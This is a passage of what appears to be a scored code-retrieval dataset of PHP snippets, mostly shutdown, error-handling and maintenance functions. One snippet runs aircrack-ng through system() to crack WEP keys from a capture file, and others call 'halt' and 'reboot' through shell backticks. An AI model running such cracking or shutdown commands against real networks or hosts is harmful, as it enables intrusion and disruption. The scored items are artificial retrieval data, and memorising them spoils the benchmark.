"score": "0.51764464", "text": "public function forceFail()\n {\n }", "title": "" }, { "docid": "e6e5b2b7ec49e3f92227e961fc27f670", "score": "0.5174056", "text": "public function snoozeAlarm(){\n\t\tGO::cache()->set($this->_getCacheKey(), $this->unseen);\n\t}", "title": "" }, { "docid": "2b9f1f793c2a89c559364f3834c27cf1", "score": "0.5150875", "text": "function shutdown()\n {\n }", "title": "" }, { "docid": "307ec9b0a7f44f13a05eb6ac927c7c5c", "score": "0.51457775", "text": "public function emergency($type, $category, $message, array $context = [])\n {\n $this->logger->emergency($this->makeParsableMessage($type, $category) . $message, $context);\n }", "title": "" }, { "docid": "121fe50c357f91b161e84875834d8063", "score": "0.51302445", "text": "public function shutdown()\n {\n $isError = false;\n\n if ($error = error_get_last())\n {\n switch ($error['type'])\n {\n case E_PARSE:\n case E_ERROR:\n case E_CORE_ERROR:\n case E_COMPILE_ERROR:\n case E_USER_ERROR:\n $datum = date(\"D Y-m-d H:i:s\");\n $name = 'Fatal';\n $user = (isset($_SESSION[\\Config::SES_NAME]['user_email'])) ? htmlentities($_SESSION[\\Config::SES_NAME]['user_email'], ENT_QUOTES, 'UTF-8') : '---';\n $env = \\Config::APP_ENV;\n $file = $error['file'];\n $line = $error['line'];\n $description = $error['message'];\n\n $str = \"[{$datum}] [{$name}] [{$user}] [{$env}] [{$file}, line {$line}] {$description}\" . PHP_EOL;\n\n $isError = $this->fileLog($str);\n break;\n }\n }\n\n if ($isError && $this->debug !== 1)\n {\n // If an ajax call is being proccesed\n if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest')\n {\n $return = array();\n $return['title'] = \"Fatal error\";\n $return['msg'] = '<b>URL</b><br>\n\t\t\t\t\t\t\t\t<small>' . htmlspecialchars($_SERVER['HTTP_REFERER']) . '</small><br>\n\t\t\t\t\t\t\t\t<b>Error message</b><br>\n\t\t\t\t\t\t\t\t<pre>' . $error['message'] . '</pre>\n\t\t\t\t\t\t\t\t<div style=\"margin-bottom: 20px;\"></div>\n\t\t\t\t\t\t\t\t<b>Error on file</b><br>\n\t\t\t\t\t\t\t\t<small>' . $error['file'] . '</small><br>\n\t\t\t\t\t\t\t\t<b>Error on line</b><br>\n\t\t\t\t\t\t\t\t<small>' . $error['line'] . '</small><br>';\n\n header('Cache-Control: no-cache, must-revalidate');\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');\n header('Content-type: application/json');\n die(json_encode($return));\n }\n\n echo '<div >\n\t\t\t\t\t\t\t<h3 class=\"font-bold text-danger\">Super Oops!</h3>\n\t\t\t\t\t\t\t<div class=\"error-desc\">\n\t\t\t\t\t\t\t\t<p>Something absolutely definitely went wrong here! Please don\\'t try again, but contact your administrators!</p>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>';\n }\n }", "title": "" }, { "docid": "59506639d0a5f7a7f62add897b0a0b5c", "score": "0.51181364", "text": "public function shutdown()\r\n {\r\n }", "title": "" }, { "docid": "34918e7e8dbbee5688a2a3d0103ae10e", "score": "0.5110059", "text": "private function invalidate()\n {\n $this->statusFlags = 0; // 0b0000;\n }", "title": "" }, { "docid": "f97c214b2fedf2dfdf8c83912c73e07d", "score": "0.51000285", "text": "function shutdown(){\n var_dump(error_get_last());\n}", "title": "" }, { "docid": "57fbca00bfc928e43c7d74ddf8d2793e", "score": "0.50818884", "text": "private function __sleep()\n {\n }", "title": "" }, { "docid": "b6da74d82c2674be6667eb1cf7c17f8a", "score": "0.5073154", "text": "private function call_supervisor_restart() {\n\t\treturn false; // denied\n\t}", "title": "" }, { "docid": "249065b8bdfb564bbd3b405b13068ff3", "score": "0.50699234", "text": "public function shutdown()\n\t{\n\t\t$err = error_get_last();\n\t\tif(!empty($err))\n\t\t{\n\t\t\tvar_dump($err);\n\t\t}\n\t}", "title": "" }, { "docid": "1d3a67fc3e3aa2c5f8256a1e4726afdd", "score": "0.5060659", "text": "public function report()\n {\n //Here we would write some code to notify employees via slack since api keys not working for this service breaks the service. If there is a slack setup to notify on critical logs this would work.\n \\Log::critical('Stored refersion api keys are no longer active. Please correct environment variables immediately.');\n }", "title": "" }, { "docid": "8801cf4eb0431e6edcfd382c092fad6d", "score": "0.50601757", "text": "private function __sleep() {\n }", "title": "" }, { "docid": "346f885a833f58a16772126679189a66", "score": "0.5058258", "text": "function shuttle_bus_main()\r\n\r\n{}", "title": "" }, { "docid": "e2e41307a03bf95fed102fc1b73822d0", "score": "0.5053226", "text": "public function shutdown()\n {\n }", "title": "" }, { "docid": "e2e41307a03bf95fed102fc1b73822d0", "score": "0.5053226", "text": "public function shutdown()\n {\n }", "title": "" }, { "docid": "e2e41307a03bf95fed102fc1b73822d0", "score": "0.5053226", "text": "public function shutdown()\n {\n }", "title": "" }, { "docid": "f80308569d0069c4bccc669c2e852f94", "score": "0.50451016", "text": "protected function send_unavailable()\n\t{\n\t\tthrow new http_exception(404, 'FEATURE_NOT_AVAILABLE');\n\t}", "title": "" }, { "docid": "1f744d332f049edb474bb7f604403231", "score": "0.5045081", "text": "function errflush(){\n $this->erl = array();\n $this->erm = NULL;\n $this->erc = 0;\n return(0);\n }", "title": "" }, { "docid": "9938910f1aef7adeba93c34ab0e25ea6", "score": "0.5044935", "text": "public function hi_roy() {\n\t\t\t$this->exit_like_a_boss();\n\t\t}", "title": "" }, { "docid": "1fe2b8fe62da87abde93d2b15d0b9f17", "score": "0.5033841", "text": "function siteLocked($b=null,$m=null)\n {\n $p=\"$/Proc/temp/lock/AnonSystemLock\"; $x=pget($p); $h=PROCHASH;\n if($x&&(aged($p)>conf(\"Proc/sysClock/unlock\"))){path::void($p); $x=null;};\n\n if($b===null){return ($x?true:false);};\n\n\n if($b===true)\n {\n if($x){return $x;};\n if(!isText($m,1)){$m='system locked';};\n signal::lockAllClients(\"bgn:$m\",'*'); wait(3000);\n path::make($p,$h); return $h;\n };\n\n if($b===false)\n {\n if(($x!==$h)&&($x!==$m)){signal::dump(\"siteLocked by another process\"); return;};\n path::void($p); signal::lockAllClients('end','*'); wait(250);\n return OK;\n };\n }", "title": "" }, { "docid": "30af196ce56b055d8c0666ce37461366", "score": "0.50325763", "text": "public function Shutdown() {\n\n ob_start();\n\n $this->\n Events()->\n Run('FluitoPHP.Shutdown');\n\n $this->\n Events()->\n Run('FluitoPHP.SystemShutdown');\n\n if (DEBUG) {\n\n $noticeWarningsHTML = \"\";\n\n $noticeWarnings = $this->\n NoticeWarningsList();\n\n if (count($noticeWarnings)) {\n\n $noticeWarningsText = \"Notice-Warnings: Please debug for notice and warnings.\";\n foreach ($noticeWarnings as $key => $value) {\n\n $key = $key + 1;\n\n $htmlValue = str_replace(\"\\n\", \"<br/>\", $value);\n $noticeWarningsHTML .= \"<li class=\\\"list-group-item\\\" style=\\\"overflow: auto;\\\"><div>{$key}.) {$htmlValue}</div></li>\";\n }\n\n $noticeWarningsHTML = '<div class=\"alert alert-warning alert-dismissible fade show\" role=\"alert\">' .\n 'Notice and Warnings:<ul class=\"list-group\" style=\"max-height: 250px;\">' .\n $noticeWarningsHTML . '</ul><button type=\"button\" class=\"close\"' .\n ' data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;' .\n '</span></button></div>';\n\n $this->\n Response()->\n SetHeader($noticeWarningsText);\n }\n\n $time = microtime(true);\n\n if (is_string($time)) {\n\n $timeParts = explode(\" \", $time);\n\n $time = (float) $timeParts[1] + (float) $timeParts[0];\n }\n\n $totalRuntimeText = 'Total-Runtime: ' . ($time - $this->\n startTime) . ' seconds';\n\n $totalRuntimeHTML = '<div class=\"alert alert-info alert-dismissible fade show float-left\" role=\"alert\" id=\"FluitoPHP-debug\">' .\n $totalRuntimeText . '<br/><small>Automatically closes in 4 seconds.</small><button type=\"button\" class=\"close\"' .\n ' data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;' .\n '</span></button></div>';\n\n $this->\n Response()->\n SetHeader($totalRuntimeText);\n\n $position = strrpos(strtolower($this->\n output), '</body>');\n\n if ($position !== false) {\n\n $this->\n output = substr($this->\n output, 0, $position) .\n '<div class=\"FluitoPHP-debug-parent position-fixed\" style=\"bottom: 0.5em; left: 0.5em; right: 0.5em\">' .\n '<div class=\"FluitoPHP-debug-mid\"><div class=\"FluitoPHP-debug-child\">' . $noticeWarningsHTML .\n $totalRuntimeHTML . '</div></div></div><script>' .\n 'window.setTimeout(function($){$(\\'#FluitoPHP-debug\\').alert(\\'close\\');}, 4000, jQuery);' .\n '</script>' . substr($this->\n output, $position);\n }\n }\n\n ob_get_clean();\n\n echo $this->\n output;\n }", "title": "" }, { "docid": "fd9164b372c73a602606baf82b2b81c5", "score": "0.5029092", "text": "private function kickoff() {\n \techo \"Kickoff Event handled\";\n \treturn true;\t\n }", "title": "" }, { "docid": "37e281718651b58905a741b6399ba27c", "score": "0.50226384", "text": "function shutdown() {\n if ($error = error_get_last()) {\n\t\textract($error);\n\t\tswitch($type) {\n\t\t\tcase E_ERROR:\n\t\t\tcase E_CORE_ERROR:\n\t\t\tcase E_COMPILE_ERROR:\n\t\t\tcase E_USER_ERROR:\n\t\t\t\t// show diagnostics display\n\t\t\t\tif (REPORT_ERROR) Fari_Diagnostics::display('PHP Error', $file, $line, $message.'.');\n\t\t\t\t// show message on a production server\n\t\t\t\telse Fari_Diagnostics::productionMessage($message);\n\t\t\t\tbreak;\n\t\t}\n }\n}", "title": "" }, { "docid": "fd1d178da1c88581ee23a945a505b515", "score": "0.50187314", "text": "public function shutdown():void {\n\n $lastError = error_get_last();\n if ($lastError['type'] === E_ERROR) {\n $e = new \\Exception($lastError['message'], $lastError['type']);\n $this->errorHandler->sendInternalServerError($e);\n }\n }", "title": "" }, { "docid": "4c10fa064153991938b2ddab2ebee426", "score": "0.50159466", "text": "function shutDownFunction() {\n if (function_exists('error_get_last')) {\n $error = error_get_last();\n if ($error['type'] == E_ERROR || $error['type'] == E_COMPILE_ERROR || $error['type'] == E_CORE_ERROR) {\n echo EfrontSystem :: printErrorMessage($error['message'].' in '.$error['file'].' line '.$error['line']);\n }\n }\n}", "title": "" }, { "docid": "613604d002ffc381b35640b188b0f066", "score": "0.5011359", "text": "private function panic() : Response {\n\t\treturn Response::serverError();\n\t}", "title": "" }, { "docid": "e25b4ac919b80ff4c43be911b1b65b08", "score": "0.49901253", "text": "function eis_device_poweron() {\n\tglobal $eis_conf,$eis_dev_conf,$eis_dev_status,$eis_mysqli;\n\t$eis_dev_status[\"gridstatus\"]=\"ok\"; \n\treturn true;\n}", "title": "" }, { "docid": "af38b19a82bf23142a6566c758062139", "score": "0.49877897", "text": "public function honk() {\n\t return \"\";\n }", "title": "" }, { "docid": "295575b1c85de15039c868c6a7a26cb4", "score": "0.49868813", "text": "public function block()\r\n {\r\n throw new AegisShieldException(\"Blah\");\r\n }", "title": "" }, { "docid": "a0bc750b72fb9c63437476d30b3ed90f", "score": "0.49826056", "text": "public function shutdown() {\n\t}", "title": "" }, { "docid": "65fa632eaefa217b7306fdd6045644ab", "score": "0.49812633", "text": "function shutdown()\n\t\t{\n\t\t\t$cmd=\"halt\";\n\t\t\t$output=`$cmd`;\n\t\t\t//myLog($output);\n\t\t\treturn $output;\n\t\t}", "title": "" }, { "docid": "d65ab1b335cc7b714f033a91342954a4", "score": "0.49770758", "text": "public function shutDown() {\n\t\techo \"All systems are to cease operations immediatly.<br>\";\n\t\t$this->missionControl->liftOffHandOver($this->missionControl->getAbortProcedure());\n\t}", "title": "" }, { "docid": "04d1812137e9ecc3ff35bc380cd609ac", "score": "0.49564135", "text": "function _uwpeople_critical_error($errno, $errstr, $errfile, $errline) {\n $backtrace = _uwpeople_debug_backtrace();\n \n _uwpeople_error(\"Critical error for $errfile:$errline - $errstr ($errno) $backtrace\");\n _uwpeople_ajax_set_progress(-1, 'Critical error, please check watchdog.', TRUE);\n _uwpeople_unlock(variable_get('uwpeople_ajax_token', NULL));\n \n cache_clear_all();\n \n exit(1);\n \n return FALSE;\n}", "title": "" }, { "docid": "de1b5ba0b60554b4f67b4c201c03b851", "score": "0.49537945", "text": "static protected function preventHijacking() {\r\n\t\r\n\t\t\tif(!isset($_SESSION['finger']))\r\n\t\t\t\treturn false;\r\n\r\n\t\t\tif($_SESSION['finger'] != self::getFinger())\r\n\t\t\t\treturn false;\r\n\r\n\t\t\treturn true;\r\n }", "title": "" }, { "docid": "31a50efdac717a224f378893a4c9f307", "score": "0.49529648", "text": "function siteOffline() {\n\t\t$this->setCacheLevelNone();\n\t\t$this->addHeader(self::HEADER_STATUS, self::HEADER_STATUS_503);\n\t\t$this->render($this->getTpl('offline', '/error'));\n\t}", "title": "" }, { "docid": "b306732e512a2f158411c40dd73c6a88", "score": "0.49518454", "text": "public function emerg($message, $extra = array())\n {\n return $this->log(Logger::EMERG, $message, $extra);\n }", "title": "" }, { "docid": "cf23b7c5ec24e99346439c404fba0414", "score": "0.49513844", "text": "public function shutdown()\n {\n //this gentlemen does not need closing\n }", "title": "" }, { "docid": "3127e71d34c9c0bfed2b099ddc58bb49", "score": "0.49448985", "text": "private function misconfigured()\n {\n }", "title": "" }, { "docid": "402622179d94cc4d6998fd88f903745c", "score": "0.49407288", "text": "function forceRestart()\n {\n // removes warning message given by pear installer\n ob_end_clean();\n // Reload current page.\n header('Location: ' . $_SERVER['PHP_SELF']);\n exit();\n }", "title": "" }, { "docid": "05c23ad14f253f2797581bd3a6c4d202", "score": "0.49394482", "text": "public function antiDdos()\n\t{\n\t\t$uri = md5($_SERVER['REQUEST_URI']);\n\t\t$exp = 3; // 3 seconds\n\t\t$hash = $uri .'|'. time();\n\t\tif (!isset($_SESSION['ddos'])) {\n\t\t\t$_SESSION['ddos'] = $hash;\n\t\t}\n\n\t\tlist($_uri, $_exp) = explode('|', $_SESSION['ddos']);\n\t\tif ($_uri == $uri && time() - $_exp < $exp) {\n\t\t\theader('HTTP/1.1 503 Service Unavailable');\n\t\t\t// die('Easy!');\n\t\t\tdie;\n\t\t}\n\n\t\t// Save last request\n\t\t$_SESSION['ddos'] = $hash;\n\t}", "title": "" }, { "docid": "cf5bd62a0fd19f8016d9914c56dbf488", "score": "0.49394423", "text": "public static function turnSystemOn()\n\t{\n\t\treturn static::_setSystemStatus(1);\n\t}", "title": "" }, { "docid": "62d2cf4c0f6175116aea13e61521ff21", "score": "0.49303713", "text": "final public function shutdown () {\n }", "title": "" }, { "docid": "ce9bae86305e08494eb579d2ba404998", "score": "0.49050885", "text": "function reboot()\n\t\t{\n\t\t\t$cmd=\"reboot\";\n\t\t\t$output=`$cmd`;\n\t\t\t//myLog($output);\n\t\t\treturn $output;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "74056476cbeb058c6aa98bd6c7ff5bd5", "score": "0.4904125", "text": "protected function invalidate()\n {\n $this->statusFlags = 0; // 0b0000;\n }", "title": "" }, { "docid": "c96645ef812b0bb5e56767bea5b350e3", "score": "0.49008128", "text": "public function shutdown() {\n }", "title": "" }, { "docid": "c96645ef812b0bb5e56767bea5b350e3", "score": "0.49008128", "text": "public function shutdown() {\n }", "title": "" }, { "docid": "5c7fb9b623e551135864cf326feb0b1a", "score": "0.4899537", "text": "protected function restart()\n {\n }", "title": "" }, { "docid": "b8eb12274e7ec73733d320ca22118214", "score": "0.48951715", "text": "public function message()\n {\n return '设备房间下不存在正在进行的追溯,请结添加后再进行操作';\n }", "title": "" }, { "docid": "132a8d4c2b956d527e3369109876909b", "score": "0.48845133", "text": "public function tell()\n {\n }", "title": "" }, { "docid": "bb673521266c3e27ce85eed5003ebd8f", "score": "0.4883076", "text": "public function startAircrackWEP() {\n system(\"aircrack-ng scans/\" . $this->getGUID() . \"-01.cap > scans/\" . $this->getGUID() . \".tmp 2>&1 &\");\n }", "title": "" }, { "docid": "fe0060b217fb8ee1193c3b4b9c9661bc", "score": "0.48820892", "text": "private function sendFatalErrorResponse()\n\t{\n\t\t// Just close the socket if in handhake mode\n\t\tif (!$user->handshakeDone())\n\t\t{\n\t\t\tJWebSocketDaemon::getInstance()->disconnect($user->socket());\n\t\t\treturn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//send a status code and then close\n\t\t}\n\t}", "title": "" }, { "docid": "463100be1d72669bdd2bff2ddf672cb1", "score": "0.4881137", "text": "public function defense()\n\t{\n\n\t}", "title": "" }, { "docid": "9005296792777b3620c313a6823a58a7", "score": "0.48785895", "text": "function come_back_from_the_dead () {\n $query = \"UPDATE user SET user_health = 1 WHERE user_id=\" . $this->id;\n $this->db->query ($query); \n $this->health = 1;\n }", "title": "" }, { "docid": "611277eac3bbee8f1ae40c9e08a47a6f", "score": "0.48739386", "text": "public function __sleep()\n\t{}", "title": "" }, { "docid": "b57b2b1b569f29ae3d36ff5f58e09bd9", "score": "0.48659337", "text": "function eis_device_poweron() {\n\tglobal $eis_conf,$eis_dev_conf,$eis_dev_status,$eis_mysqli;\n\t// poweron recompute meteo data\n\tcompute_meteo($eis_dev_status[\"timestamp\"]);\n\treturn true;\n}", "title": "" }, { "docid": "e3a1cca13f36bd171c55dda56397cc0a", "score": "0.48657733", "text": "public function easter_egg() {\n\t\t\n\t\t$start_date = new DateTime( UP_SINCE );\n\t\t$now_date = new DateTime('now');\n\t\t$uptime = $now_date->diff($start_date);\n\t\t$uptime_days = $uptime->y * 365 + $uptime->m * 31 + $uptime->d;\n\t\t\n\t\techo sprintf(\"This site has (probably) been NSA free for %s days, %s hours, %s minutes and %s seconds.\", $uptime_days, $uptime->h, $uptime->i, $uptime->s );\n\n\t}", "title": "" }, { "docid": "1a26a7bdd985059e71d6ba20f80d74b6", "score": "0.48647377", "text": "function disable_admin() {\n\n\t\t// Dont disable ajax calls\n\t\tif ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {\n\t\t\treturn;\n\t\t}\n\n\t\t\n\t\t// Only lock out backend during the maintenance window\n\t\t$current_time = current_time( 'mysql' );\n\t\t$start_time = Config::get( 'start_time' );\n\t\t$end_time = Config::get( 'end_time' );\n\t\tif ( $current_time < $start_time || $current_time >= $end_time ) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Allow users in whitelist access\n\t\t$whitelist = is_array( Config::get( 'whitelist' ) ) ? Config::get( 'whitelist' ) : array();\n\t\tif ( in_array( get_current_user_id(), $whitelist ) ) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Grab the maintenance mode message content\n\t\t\n\t\t$title = Config::get( 'backend_title' );\n\t\t$title = esc_html( $title );\n\t\t\n\t\t$content = Config::get( 'backend_content' );\n\t\t$content = wpautop( $content );\n\t\t\n\t\t// Kick em out\n\t\t\n\t\twp_die( \"<h1>{$title}</h1>{$content}\" );\n\t\t\n\t}", "title": "" }, { "docid": "935c7622e609e1d97ac35bc52a25e13f", "score": "0.48634726", "text": "private function __sleep() {}", "title": "" }, { "docid": "935c7622e609e1d97ac35bc52a25e13f", "score": "0.48634726", "text": "private function __sleep() {}", "title": "" } ]
c4663c7d8832a5e3e399f8a04c70c049
Set default module name
[ { "docid": "a7c9faf771b72e0b01187af1ef675444", "score": "0.7276639", "text": "public function setDefaultModule($name = 'default')\n\t{\n\t\tforeach($this->_available_modules as $module=>&$isDefault)\n\t\t{\n\t\t\t$isDefault = ($module==$name) ? 1 : 0;\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "11c2ec7ad9ec93ea43a6bde4a37fe018", "score": "0.75366175", "text": "public function getModuleNameWithDefault(): string {\n return $this->getModuleName() ?: container('application')->getDefaultModule();\n }", "title": "" }, { "docid": "ecbe944c264ecb6af076220d1f451c6d", "score": "0.7291166", "text": "public static function setDefaultModule() {\n self::$_module = self::$_defaultModule;\n }", "title": "" }, { "docid": "e08c8dcf58cb89a9f75d399f19a4eaf8", "score": "0.72486067", "text": "private function setModuleName()\n {\n $this->app_model = new AppModel();\n $this->module_name = $this->app_model->getModule();\n }", "title": "" }, { "docid": "1e7b88ade632c57f77591fe068af8030", "score": "0.718239", "text": "private function setActiveModuleName() {\n $index = 0;\n\n if (count($this->configuration['module_file_modules']) > 1) {\n $index = $this->getActiveFileUrlIndex();\n }\n\n $this->activeModuleName = $this->configuration['module_file_modules'][$index];\n }", "title": "" }, { "docid": "fe4f95fedc69900eed14edf73f589735", "score": "0.70774174", "text": "private function _setDefaultModule()\n {\n $this->_module = 'core';\n $this->_controller = 'index';\n }", "title": "" }, { "docid": "fcf28bc709df4f86660603c077a3ad37", "score": "0.68264025", "text": "public function setDefaultModule($module)\n {\n $this->defaults[\"module\"] = $module;\n }", "title": "" }, { "docid": "c4e2cfc712263ff2a683e4bc71689a41", "score": "0.6789537", "text": "public static function setModule($name) {\n self::$_module = $name;\n }", "title": "" }, { "docid": "7a636121ac7ddd45fd3ab0fc9765f800", "score": "0.675382", "text": "public static function getModuleName() { return 'np_extra_default'; }", "title": "" }, { "docid": "c17fb0933f365d3d59acb5782fe90277", "score": "0.66846675", "text": "private function setModuleName($moduleName = '')\n {\n $this->moduleName = $moduleName ? strtolower($moduleName) : $this->app->getModuleName();\n }", "title": "" }, { "docid": "e1eadc044bb971fbff28f120861425c7", "score": "0.66419554", "text": "public static function defaultName(): string\n {\n return 'sample sub';\n }", "title": "" }, { "docid": "c7b14dbf18cb8a89ba17161a08d803f0", "score": "0.64990634", "text": "function set_default_active_tab($module_name, &$default_active_tab) {\n\tif (empty ( $default_active_tab ) == true || $module_name == $default_active_tab) {\n\t\tif (empty ( $default_active_tab ) == true) {\n\t\t\t$default_active_tab = $module_name; // Set default module as current active module\n\t\t}\n\t\treturn 'active';\n\t}\n}", "title": "" }, { "docid": "fa974ed80e7cae8c6e54a94aa276377c", "score": "0.6478356", "text": "public function setModuleName(string $moduleName = null): void\n {\n }", "title": "" }, { "docid": "071be3a4210b857562ed9d66bbbfb576", "score": "0.64630675", "text": "protected function defaultName()\n {\n return str_replace('\\\\', '.', strtolower(get_class($this)));\n }", "title": "" }, { "docid": "3acd741a30ec0c81ecba8f07133a301e", "score": "0.6401533", "text": "function defaultModule($strModuleName, $arrSharedData = array())\n{\n\tif (!file_exists(TPL . 'modules' . DS . $strModuleName . '.php')) {\n\n\t\t$strModuleName = NOT_FOUND;\n\t}\n\n\n\t$strReturn = '';\n\t$objMain = new TemplateParser();\n\t$objMain->setTemplate(TPL . 'modules' . DS . $strModuleName . '.php');\n\t$objMain->setSharedData($arrSharedData);\n\n\t$strReturn = $objMain->returnContent();\n\tunset($objMain);\n\treturn $strReturn;\n}", "title": "" }, { "docid": "c25451058424094c941e141b860bb4e6", "score": "0.6382427", "text": "function ModuleName()\n\t{\n\t\treturn '';\n\t}", "title": "" }, { "docid": "3caedd19050ecabba8d20dd6aff8cd73", "score": "0.6334517", "text": "protected function _initDefaultModule()\n {\n $this->_addModule(new \\MvcFramework\\Module\\Module('Index'));\n }", "title": "" }, { "docid": "b6d9cbed23f45a9fb49f81d595677d38", "score": "0.6260356", "text": "abstract protected function getModuleName();", "title": "" }, { "docid": "bdd3f20406c6ed71aa45867c8df11373", "score": "0.6241511", "text": "public function setDefaultModule($module)\n {\n $this->defaultModule = (string)$module;\n return $this;\n }", "title": "" }, { "docid": "fa4e0542def47d143666aa37ec910ad1", "score": "0.62390625", "text": "function getDefaultName(){\n\t\tif(isEmptyString($this->getAppName())){\n\t\t\treturn $this->config->system->appname;\n\t\t} else {\n\t\t\treturn $this->getAppName();\n\t\t}\n\t}", "title": "" }, { "docid": "7aad5b34e450f6ff7425442055ee5bee", "score": "0.62234676", "text": "abstract public function getModuleName();", "title": "" }, { "docid": "aa7c2c9df6493e8c9ce06cae2fb76b79", "score": "0.6186442", "text": "static function getModuleName(){\n \treturn ui_module::GetModuleName();\n }", "title": "" }, { "docid": "6c51ba546d6416e349df1f8a55a0436f", "score": "0.61505497", "text": "public function setDefault($name, $value)\n {\n $name = str_replace('.', '_', $name);\n parent::setDefault($name, $value);\n }", "title": "" }, { "docid": "095d469a080b097309adda07401148f7", "score": "0.6121398", "text": "public function __construct($name){\n\t\tparent::set(\"moduleName\", $name);\n\t\tparent::set(\"modulePath\", Path::instance()->evaluate(\"lib.module\").\"/$name\");\n\t}", "title": "" }, { "docid": "482603d415ff8552e0d518749cceeeda", "score": "0.61115575", "text": "public static function defaultName(): string\n {\n return 'cache clear_all';\n }", "title": "" }, { "docid": "0d7b5cdccd5afd13d84cb6497e542a4f", "score": "0.6109879", "text": "function defaultAdminModule($strModuleName, $arrSharedData = array())\n{\n\tif (!file_exists(ADMIN_TPL_MODULE . $strModuleName . '.php'))\n\t\t$strModuleName = NOT_FOUND;\n\t$strReturn = '';\n\t$objMain = new TemplateParser();\n\t$objMain->setTemplate(ADMIN_TPL_MODULE . $strModuleName . '.php');\n\t$objMain->setSharedData($arrSharedData);\n\n\t$strReturn = $objMain->returnContent();\n\tunset($objMain);\n\treturn $strReturn;\n}", "title": "" }, { "docid": "79c3c2ed8d379dd18f4e3547024cc041", "score": "0.6104529", "text": "function session_module_name($name=NULL)\n{\n\treturn '';\n}", "title": "" }, { "docid": "dc15c31f5a28d85aceaf72629481452b", "score": "0.6062901", "text": "abstract public function getModuleClassName();", "title": "" }, { "docid": "9fbbe4cce8aafb9f7d8598d36a459cc0", "score": "0.6048526", "text": "public function getModuleName() {}", "title": "" }, { "docid": "9fbbe4cce8aafb9f7d8598d36a459cc0", "score": "0.60477626", "text": "public function getModuleName() {}", "title": "" }, { "docid": "c1085af7c829f86eb56d2e705c850df2", "score": "0.6043343", "text": "function module_package_name($class, $default = null)\n {\n preg_match_all('/([^\\\\\\]+\\\\\\){1}(?<module>.*?)\\\\\\/ims', $class, $module_names);\n\n return $module_names['module'][0] ?? $default;\n }", "title": "" }, { "docid": "80ae43ff44f1c9407b0b0f3255f9b668", "score": "0.6008903", "text": "private function _set_site_name()\n {\n }", "title": "" }, { "docid": "575784bd87306e8764700143cb2cc5de", "score": "0.5998882", "text": "public function getModuleName(){\n\t\treturn self::MODULE_NAME;\n\t}", "title": "" }, { "docid": "7746a8e2a4b1ad119cec9925c8ce3759", "score": "0.5998236", "text": "public static function defaultName(): string\n {\n $pos = strrpos(static::class, '\\\\');\n /** @psalm-suppress PossiblyFalseOperand */\n $name = substr(static::class, $pos + 1, -7);\n\n return Inflector::underscore($name);\n }", "title": "" }, { "docid": "e12938836c1a841b05181a943f9ef10a", "score": "0.59873", "text": "public function setFormName()\n {\n $formTitle = FormConfigurationManager::getFormTitle();\n self::$shortFormName = $this->getExtensionConfigurationManager()->getExtensionKey() . '_' . strtr(strtolower($formTitle), ' -', '__');\n self::$formName = self::$shortFormName . '_' . $this->getExtensionConfigurationManager()->getContentIdentifier();\n }", "title": "" }, { "docid": "734dca6024b074165907631fa1aa4711", "score": "0.59820616", "text": "public function getModuleName(): string\n {\n // And our name to the configuration file\n // This will be validated, and all characters not between a-z will be removed\n return self::NAME;\n }", "title": "" }, { "docid": "c60ca24bc9a9404516f5db9faa964b34", "score": "0.59750366", "text": "public function getModuleName();", "title": "" }, { "docid": "c13341f1d2e80555dd6a25d28b3a5fef", "score": "0.59638923", "text": "public function setDefaultPackageName($default_package_name)\n {\n $this->default_package_name = $default_package_name;\n }", "title": "" }, { "docid": "54aff2808f7c99207dad06cf82b85168", "score": "0.5956335", "text": "function getModuleName()\n {\n \t$modules_with_odd_names = array(\n \t'Bug Tracker'=>'Bugs'\n \t);\n \tif ( isset ( $modules_with_odd_names [ $this->name ] ) )\n \t\treturn ( $modules_with_odd_names [ $this->name ] ) ;\n\n \treturn $this->name;\n }", "title": "" }, { "docid": "75a94ccd8c19339cb9a65ee93eeb0771", "score": "0.5954975", "text": "private function attachDefaultModules()\n {\n $this->attachModules(static::$defaultModules);\n }", "title": "" }, { "docid": "fa3fe483d3e2c48d1d68d6451b8f534e", "score": "0.5888866", "text": "function sort_module_default_init() {\n\tglobal $Auth;\n\t\n\t## get the apropriate language file\n\trequire('sort/default/lang/'.$Auth->auth[\"language\"].'.php');\n\n\t## okay now we return the string for our sort method\n\treturn LANG_Sort_Default_Name;\n}", "title": "" }, { "docid": "35a1a7415214f163c797590e2b8bda50", "score": "0.58880305", "text": "public function setModule(string $m): void {\n\t\t$this->module = $m;\n\t}", "title": "" }, { "docid": "929a8a895534267787f9e2af77ce2c67", "score": "0.58746654", "text": "function get_default_name()\n\t{\n\t\treturn 'Forums';\n\t}", "title": "" }, { "docid": "d0d138884ba3996da11519113969477b", "score": "0.58427054", "text": "public function getName()\n {\n return $this->getConfig()->get('module');\n }", "title": "" }, { "docid": "1139ec9a714ad2acf2fe1cc35595db14", "score": "0.5836205", "text": "public function getModuleName(): string;", "title": "" }, { "docid": "0f96625011d566f50b861f5702dce5d6", "score": "0.5834484", "text": "public function getNormalizedModuleName() {\n // Use module name if it's set AND the module name is not a placeholder\n if (isset($this->modulename) && !in_array($this->modulename, MetaDataFiles::getModuleNamePlaceholders())) {\n return $this->modulename;\n }\n\n return $this->module;\n }", "title": "" }, { "docid": "5ccffa08b73392e2ff87dadc41f032d0", "score": "0.5828504", "text": "public function getModuleName() {\n if (!$this->moduleName) {\n $this->moduleName = $this->getModuleVar('title','module');\n }\n return $this->moduleName;\n }", "title": "" }, { "docid": "2e0d48ca909c64d3eda4fd3fd89eab57", "score": "0.58283424", "text": "public static function getMainModuleName(): string;", "title": "" }, { "docid": "0c1dacc46910e21ca9d04f33355a9a8e", "score": "0.5828111", "text": "public function setControllerName()\n {\n $this->name = \"groupui\";\n }", "title": "" }, { "docid": "f4427e950911731b21b3f92a0906fb8b", "score": "0.5821696", "text": "function getModuleName()\r\n\t{\r\n\t\tstatic $moduleName;\r\n\t\tif(!isset($moduleName)) {\r\n\t\t\t$mymodule = 